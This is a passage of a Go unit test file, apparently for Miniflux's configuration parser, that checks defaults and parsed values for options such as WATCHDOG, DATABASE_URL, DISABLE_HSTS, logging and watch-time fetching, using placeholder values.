configParser.options.RootURL())\n\t}\n\n\tif configParser.options.BasePath() != \"/app\" {\n\t\tt.Fatalf(\"Expected BASE_PATH to be '/app', got '%s'\", configParser.options.BasePath())\n\t}\n\n\tif err := configParser.parseLines([]string{\"BASE_URL=example.com/app/\"}); err == nil {\n\t\tt.Fatal(\"Expected an error due to missing scheme in BASE_URL\")\n\t}\n}\n\nfunc TestWatchdogOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif !configParser.options.Watchdog() {\n\t\tt.Fatal(\"Expected WATCHDOG to be enabled by default\")\n\t}\n\n\tif !configParser.options.HasSchedulerService() {\n\t\tt.Fatal(\"Expected HAS_SCHEDULER_SERVICE to be enabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"WATCHDOG=1\"}); err != nil {\n\t\tt.Fatal(\"Unexpected error:\", err)\n\t}\n\n\tif !configParser.options.Watchdog() {\n\t\tt.Fatal(\"Expected WATCHDOG to be enabled\")\n\t}\n\n\tif !configParser.options.HasSchedulerService() {\n\t\tt.Fatal(\"Expected HAS_SCHEDULER_SERVICE to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"WATCHDOG=0\"}); err != nil {\n\t\tt.Fatal(\"Unexpected error:\", err)\n\t}\n\n\tif configParser.options.Watchdog() {\n\t\tt.Fatal(\"Expected WATCHDOG to be disabled\")\n\t}\n\n\tif configParser.options.HasWatchdog() {\n\t\tt.Fatal(\"Expected HAS_WATCHDOG to be disabled\")\n\t}\n}\n\nfunc TestWebAuthnOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.WebAuthn() {\n\t\tt.Fatalf(\"Expected WEBAUTHN to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"WEBAUTHN=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.WebAuthn() {\n\t\tt.Fatalf(\"Expected WEBAUTHN to be enabled\")\n\t}\n}\n\nfunc TestWorkerPoolSizeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.WorkerPoolSize() != 16 {\n\t\tt.Fatalf(\"Expected WORKER_POOL_SIZE to be 16 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"WORKER_POOL_SIZE=8\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.WorkerPoolSize() != 8 {\n\t\tt.Fatalf(\"Expected WORKER_POOL_SIZE to be 8\")\n\t}\n}\n\nfunc TestYouTubeAPIKeyOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.YouTubeAPIKey() != \"\" {\n\t\tt.Fatalf(\"Expected YOUTUBE_API_KEY to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"YOUTUBE_API_KEY=somekey\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.YouTubeAPIKey() != \"somekey\" {\n\t\tt.Fatalf(\"Expected YOUTUBE_API_KEY to be 'somekey'\")\n\t}\n}\n\nfunc TestAdminPasswordOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.AdminPassword() != \"\" {\n\t\tt.Fatalf(\"Expected ADMIN_PASSWORD to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"ADMIN_PASSWORD=secret123\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.AdminPassword() != \"secret123\" {\n\t\tt.Fatalf(\"Expected ADMIN_PASSWORD to be 'secret123'\")\n\t}\n}\n\nfunc TestAdminUsernameOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.AdminUsername() != \"\" {\n\t\tt.Fatalf(\"Expected ADMIN_USERNAME to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"ADMIN_USERNAME=admin\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.AdminUsername() != \"admin\" {\n\t\tt.Fatalf(\"Expected ADMIN_USERNAME to be 'admin'\")\n\t}\n}\n\nfunc TestAuthProxyHeaderOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.AuthProxyHeader() != \"\" {\n\t\tt.Fatalf(\"Expected AUTH_PROXY_HEADER to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"AUTH_PROXY_HEADER=X-Forwarded-User\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.AuthProxyHeader() != \"X-Forwarded-User\" {\n\t\tt.Fatalf(\"Expected AUTH_PROXY_HEADER to be 'X-Forwarded-User'\")\n\t}\n}\n\nfunc TestAuthProxyUserCreationOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.AuthProxyUserCreation() {\n\t\tt.Fatal(\"Expected AUTH_PROXY_USER_CREATION to be disabled by default\")\n\t}\n\n\tif configParser.options.IsAuthProxyUserCreationAllowed() {\n\t\tt.Fatal(\"Expected HAS_AUTH_PROXY_USER_CREATION to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"AUTH_PROXY_USER_CREATION=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.AuthProxyUserCreation() {\n\t\tt.Fatal(\"Expected AUTH_PROXY_USER_CREATION to be enabled\")\n\t}\n\n\tif !configParser.options.IsAuthProxyUserCreationAllowed() {\n\t\tt.Fatal(\"Expected HAS_AUTH_PROXY_USER_CREATION to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"AUTH_PROXY_USER_CREATION=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.AuthProxyUserCreation() {\n\t\tt.Fatal(\"Expected AUTH_PROXY_USER_CREATION to be disabled\")\n\t}\n\n\tif configParser.options.IsAuthProxyUserCreationAllowed() {\n\t\tt.Fatal(\"Expected HAS_AUTH_PROXY_USER_CREATION to be disabled\")\n\t}\n}\n\nfunc TestBatchSizeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.BatchSize() != 100 {\n\t\tt.Fatalf(\"Expected BATCH_SIZE to be 100 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"BATCH_SIZE=50\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.BatchSize() != 50 {\n\t\tt.Fatalf(\"Expected BATCH_SIZE to be 50\")\n\t}\n}\n\nfunc TestCertDomainOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CertDomain() != \"\" {\n\t\tt.Fatalf(\"Expected CERT_DOMAIN to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CERT_DOMAIN=example.com\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CertDomain() != \"example.com\" {\n\t\tt.Fatalf(\"Expected CERT_DOMAIN to be 'example.com'\")\n\t}\n}\n\nfunc TestCertFileOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CertFile() != \"\" {\n\t\tt.Fatalf(\"Expected CERT_FILE to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CERT_FILE=/path/to/cert.pem\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CertFile() != \"/path/to/cert.pem\" {\n\t\tt.Fatalf(\"Expected CERT_FILE to be '/path/to/cert.pem'\")\n\t}\n}\n\nfunc TestCleanupArchiveBatchSizeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CleanupArchiveBatchSize() != 10000 {\n\t\tt.Fatalf(\"Expected CLEANUP_ARCHIVE_BATCH_SIZE to be 10000 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CLEANUP_ARCHIVE_BATCH_SIZE=5000\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CleanupArchiveBatchSize() != 5000 {\n\t\tt.Fatalf(\"Expected CLEANUP_ARCHIVE_BATCH_SIZE to be 5000\")\n\t}\n}\n\nfunc TestCreateAdminOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CreateAdmin() {\n\t\tt.Fatalf(\"Expected CREATE_ADMIN to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CREATE_ADMIN=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.CreateAdmin() {\n\t\tt.Fatalf(\"Expected CREATE_ADMIN to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"CREATE_ADMIN=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CreateAdmin() {\n\t\tt.Fatalf(\"Expected CREATE_ADMIN to be disabled\")\n\t}\n}\n\nfunc TestDatabaseMaxConnsOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DatabaseMaxConns() != 20 {\n\t\tt.Fatalf(\"Expected DATABASE_MAX_CONNS to be 20 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DATABASE_MAX_CONNS=10\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DatabaseMaxConns() != 10 {\n\t\tt.Fatalf(\"Expected DATABASE_MAX_CONNS to be 10\")\n\t}\n}\n\nfunc TestDatabaseMinConnsOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DatabaseMinConns() != 1 {\n\t\tt.Fatalf(\"Expected DATABASE_MIN_CONNS to be 1 by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DATABASE_MIN_CONNS=2\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DatabaseMinConns() != 2 {\n\t\tt.Fatalf(\"Expected DATABASE_MIN_CONNS to be 2\")\n\t}\n}\n\nfunc TestDatabaseURLOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DatabaseURL() != \"user=postgres password=postgres dbname=miniflux2 sslmode=disable\" {\n\t\tt.Fatal(\"Expected DATABASE_URL to have default value\")\n\t}\n\n\tif !configParser.options.IsDefaultDatabaseURL() {\n\t\tt.Fatal(\"Expected DATABASE_URL to be the default value\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DATABASE_URL=postgres://user:pass@localhost/db\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DatabaseURL() != \"postgres://user:pass@localhost/db\" {\n\t\tt.Fatal(\"Expected DATABASE_URL to be 'postgres://user:pass@localhost/db'\")\n\t}\n\n\tif configParser.options.IsDefaultDatabaseURL() {\n\t\tt.Fatal(\"Expected DATABASE_URL to not be the default value\")\n\t}\n}\n\nfunc TestDisableHSTSOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DisableHSTS() {\n\t\tt.Fatal(\"Expected DISABLE_HSTS to be disabled by default\")\n\t}\n\n\tif !configParser.options.HasHSTS() {\n\t\tt.Fatal(\"Expected HAS_HSTS to be enabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_HSTS=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.DisableHSTS() {\n\t\tt.Fatal(\"Expected DISABLE_HSTS to be enabled\")\n\t}\n\n\tif configParser.options.HasHSTS() {\n\t\tt.Fatal(\"Expected HAS_HSTS to be disabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_HSTS=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DisableHSTS() {\n\t\tt.Fatal(\"Expected DISABLE_HSTS to be disabled\")\n\t}\n\n\tif !configParser.options.HasHSTS() {\n\t\tt.Fatal(\"Expected HAS_HSTS to be enabled\")\n\t}\n}\n\nfunc TestDisableHTTPServiceOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DisableHTTPService() {\n\t\tt.Fatal(\"Expected DISABLE_HTTP_SERVICE to be disabled by default\")\n\t}\n\n\tif !configParser.options.HasHTTPService() {\n\t\tt.Fatal(\"Expected HAS_HTTP_SERVICE to be enabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_HTTP_SERVICE=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.DisableHTTPService() {\n\t\tt.Fatal(\"Expected DISABLE_HTTP_SERVICE to be enabled\")\n\t}\n\n\tif configParser.options.HasHTTPService() {\n\t\tt.Fatal(\"Expected HAS_HTTP_SERVICE to be disabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_HTTP_SERVICE=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DisableHTTPService() {\n\t\tt.Fatal(\"Expected DISABLE_HTTP_SERVICE to be disabled\")\n\t}\n\n\tif !configParser.options.HasHTTPService() {\n\t\tt.Fatal(\"Expected HAS_HTTP_SERVICE to be disabled\")\n\t}\n}\n\nfunc TestDisableLocalAuthOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DisableLocalAuth() {\n\t\tt.Fatalf(\"Expected DISABLE_LOCAL_AUTH to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_LOCAL_AUTH=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.DisableLocalAuth() {\n\t\tt.Fatalf(\"Expected DISABLE_LOCAL_AUTH to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_LOCAL_AUTH=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DisableLocalAuth() {\n\t\tt.Fatalf(\"Expected DISABLE_LOCAL_AUTH to be disabled\")\n\t}\n}\n\nfunc TestDisableSchedulerServiceOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.DisableSchedulerService() {\n\t\tt.Fatal(\"Expected DISABLE_SCHEDULER_SERVICE to be disabled by default\")\n\t}\n\n\tif !configParser.options.HasSchedulerService() {\n\t\tt.Fatal(\"Expected HAS_SCHEDULER_SERVICE to be enabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_SCHEDULER_SERVICE=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.DisableSchedulerService() {\n\t\tt.Fatal(\"Expected DISABLE_SCHEDULER_SERVICE to be enabled\")\n\t}\n\n\tif configParser.options.HasSchedulerService() {\n\t\tt.Fatal(\"Expected HAS_SCHEDULER_SERVICE to be disabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"DISABLE_SCHEDULER_SERVICE=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.DisableSchedulerService() {\n\t\tt.Fatal(\"Expected DISABLE_SCHEDULER_SERVICE to be disabled\")\n\t}\n\n\tif !configParser.options.HasSchedulerService() {\n\t\tt.Fatal(\"Expected HAS_SCHEDULER_SERVICE to be enabled\")\n\t}\n}\n\nfunc TestFetchBilibiliWatchTimeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.FetchBilibiliWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_BILIBILI_WATCH_TIME to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_BILIBILI_WATCH_TIME=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.FetchBilibiliWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_BILIBILI_WATCH_TIME to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_BILIBILI_WATCH_TIME=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.FetchBilibiliWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_BILIBILI_WATCH_TIME to be disabled\")\n\t}\n}\n\nfunc TestFetchNebulaWatchTimeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.FetchNebulaWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_NEBULA_WATCH_TIME to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_NEBULA_WATCH_TIME=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.FetchNebulaWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_NEBULA_WATCH_TIME to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_NEBULA_WATCH_TIME=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.FetchNebulaWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_NEBULA_WATCH_TIME to be disabled\")\n\t}\n}\n\nfunc TestFetchOdyseeWatchTimeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.FetchOdyseeWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_ODYSEE_WATCH_TIME to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_ODYSEE_WATCH_TIME=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.FetchOdyseeWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_ODYSEE_WATCH_TIME to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_ODYSEE_WATCH_TIME=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.FetchOdyseeWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_ODYSEE_WATCH_TIME to be disabled\")\n\t}\n}\n\nfunc TestFetchYouTubeWatchTimeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.FetchYouTubeWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_YOUTUBE_WATCH_TIME to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_YOUTUBE_WATCH_TIME=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.FetchYouTubeWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_YOUTUBE_WATCH_TIME to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"FETCH_YOUTUBE_WATCH_TIME=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.FetchYouTubeWatchTime() {\n\t\tt.Fatalf(\"Expected FETCH_YOUTUBE_WATCH_TIME to be disabled\")\n\t}\n}\n\nfunc TestHTTPClientMaxBodySizeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.HTTPClientMaxBodySize() != 15*1024*1024 {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_MAX_BODY_SIZE to be 15 by default, got %d\", configParser.options.HTTPClientMaxBodySize())\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTP_CLIENT_MAX_BODY_SIZE=25\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\texpectedValue := 25 * 1024 * 1024\n\tcurrentValue := configParser.options.HTTPClientMaxBodySize()\n\tif currentValue != int64(expectedValue) {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_MAX_BODY_SIZE to be %d, got %d\", expectedValue, currentValue)\n\t}\n}\n\nfunc TestHTTPClientUserAgentOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.HTTPClientUserAgent() != defaultHTTPClientUserAgent {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_USER_AGENT to have default value\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTP_CLIENT_USER_AGENT=Custom User Agent\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.HTTPClientUserAgent() != \"Custom User Agent\" {\n\t\tt.Fatalf(\"Expected HTTP_CLIENT_USER_AGENT to be 'Custom User Agent'\")\n\t}\n}\n\nfunc TestHTTPSOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.HTTPS() {\n\t\tt.Fatalf(\"Expected HTTPS to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTPS=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.HTTPS() {\n\t\tt.Fatalf(\"Expected HTTPS to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"HTTPS=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.HTTPS() {\n\t\tt.Fatalf(\"Expected HTTPS to be disabled\")\n\t}\n}\n\nfunc TestInvidiousInstanceOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.InvidiousInstance() != \"yewtu.be\" {\n\t\tt.Fatalf(\"Expected INVIDIOUS_INSTANCE to be 'yewtu.be' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"INVIDIOUS_INSTANCE=invidious.example.com\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.InvidiousInstance() != \"invidious.example.com\" {\n\t\tt.Fatalf(\"Expected INVIDIOUS_INSTANCE to be 'invidious.example.com'\")\n\t}\n}\n\nfunc TestCertKeyFileOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.CertKeyFile() != \"\" {\n\t\tt.Fatalf(\"Expected KEY_FILE to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"KEY_FILE=/path/to/key.pem\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.CertKeyFile() != \"/path/to/key.pem\" {\n\t\tt.Fatalf(\"Expected KEY_FILE to be '/path/to/key.pem'\")\n\t}\n}\n\nfunc TestLogDateTimeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.LogDateTime() {\n\t\tt.Fatalf(\"Expected LOG_DATE_TIME to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"LOG_DATE_TIME=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.LogDateTime() {\n\t\tt.Fatalf(\"Expected LOG_DATE_TIME to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"LOG_DATE_TIME=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.LogDateTime() {\n\t\tt.Fatalf(\"Expected LOG_DATE_TIME to be disabled\")\n\t}\n}\n\nfunc TestLogFileOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.LogFile() != \"stderr\" {\n\t\tt.Fatalf(\"Expected LOG_FILE to be 'stderr' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"LOG_FILE=/var/log/miniflux.log\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.LogFile() != \"/var/log/miniflux.log\" {\n\t\tt.Fatalf(\"Expected LOG_FILE to be '/var/log/miniflux.log'\")\n\t}\n}\n\nfunc TestLogFormatOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.LogFormat() != \"text\" {\n\t\tt.Fatalf(\"Expected LOG_FORMAT to be 'text' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"LOG_FORMAT=json\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.LogFormat() != \"json\" {\n\t\tt.Fatalf(\"Expected LOG_FORMAT to be 'json'\")\n\t}\n}\n\nfunc TestLogLevelOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.LogLevel() != \"info\" {\n\t\tt.Fatalf(\"Expected LOG_LEVEL to be 'info' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"LOG_LEVEL=debug\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.LogLevel() != \"debug\" {\n\t\tt.Fatalf(\"Expected LOG_LEVEL to be 'debug'\")\n\t}\n}\n\nfunc TestMaintenanceMessageOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MaintenanceMessage() != \"Miniflux is currently under maintenance\" {\n\t\tt.Fatalf(\"Expected MAINTENANCE_MESSAGE to have default value\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MAINTENANCE_MESSAGE=System upgrade in progress\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MaintenanceMessage() != \"System upgrade in progress\" {\n\t\tt.Fatalf(\"Expected MAINTENANCE_MESSAGE to be 'System upgrade in progress'\")\n\t}\n}\n\nfunc TestMaintenanceModeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MaintenanceMode() {\n\t\tt.Fatal(\"Expected MAINTENANCE_MODE to be disabled by default\")\n\t}\n\n\tif configParser.options.HasMaintenanceMode() {\n\t\tt.Fatal(\"Expected HAS_MAINTENANCE_MODE to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MAINTENANCE_MODE=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.MaintenanceMode() {\n\t\tt.Fatal(\"Expected MAINTENANCE_MODE to be enabled\")\n\t}\n\n\tif !configParser.options.HasMaintenanceMode() {\n\t\tt.Fatal(\"Expected HAS_MAINTENANCE_MODE to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MAINTENANCE_MODE=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MaintenanceMode() {\n\t\tt.Fatal(\"Expected MAINTENANCE_MODE to be disabled\")\n\t}\n\n\tif configParser.options.HasMaintenanceMode() {\n\t\tt.Fatal(\"Expected HAS_MAINTENANCE_MODE to be disabled\")\n\t}\n}\n\nfunc TestMediaProxyModeOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MediaProxyMode() != \"http-only\" {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_MODE to be 'http-only' by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"MEDIA_PROXY_MODE=all\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MediaProxyMode() != \"all\" {\n\t\tt.Fatalf(\"Expected MEDIA_PROXY_MODE to be 'all'\")\n\t}\n}\n\nfunc TestMetricsCollectorOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MetricsCollector() {\n\t\tt.Fatal(\"Expected METRICS_COLLECTOR to be disabled by default\")\n\t}\n\n\tif configParser.options.HasMetricsCollector() {\n\t\tt.Fatal(\"Expected HAS_METRICS_COLLECTOR to be disabled by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"METRICS_COLLECTOR=1\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif !configParser.options.MetricsCollector() {\n\t\tt.Fatal(\"Expected METRICS_COLLECTOR to be enabled\")\n\t}\n\n\tif !configParser.options.HasMetricsCollector() {\n\t\tt.Fatal(\"Expected HAS_METRICS_COLLECTOR to be enabled\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"METRICS_COLLECTOR=0\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MetricsCollector() {\n\t\tt.Fatal(\"Expected METRICS_COLLECTOR to be disabled\")\n\t}\n\n\tif configParser.options.HasMetricsCollector() {\n\t\tt.Fatal(\"Expected HAS_METRICS_COLLECTOR to be disabled\")\n\t}\n}\n\nfunc TestMetricsPasswordOptionParsing(t *testing.T) {\n\tconfigParser := NewConfigParser()\n\n\tif configParser.options.MetricsPassword() != \"\" {\n\t\tt.Fatalf(\"Expected METRICS_PASSWORD to be empty by default\")\n\t}\n\n\tif err := configParser.parseLines([]string{\"METRICS_PASSWORD=secret123\"}); err != nil {\n\t\tt.Fatalf(\"Unexpected error: %v\", err)\n\t}\n\n\tif configParser.options.MetricsPassword() != \"secret123\" {\n\t\tt.Fatalf(\"Expected METRICS_PASSWORD to be 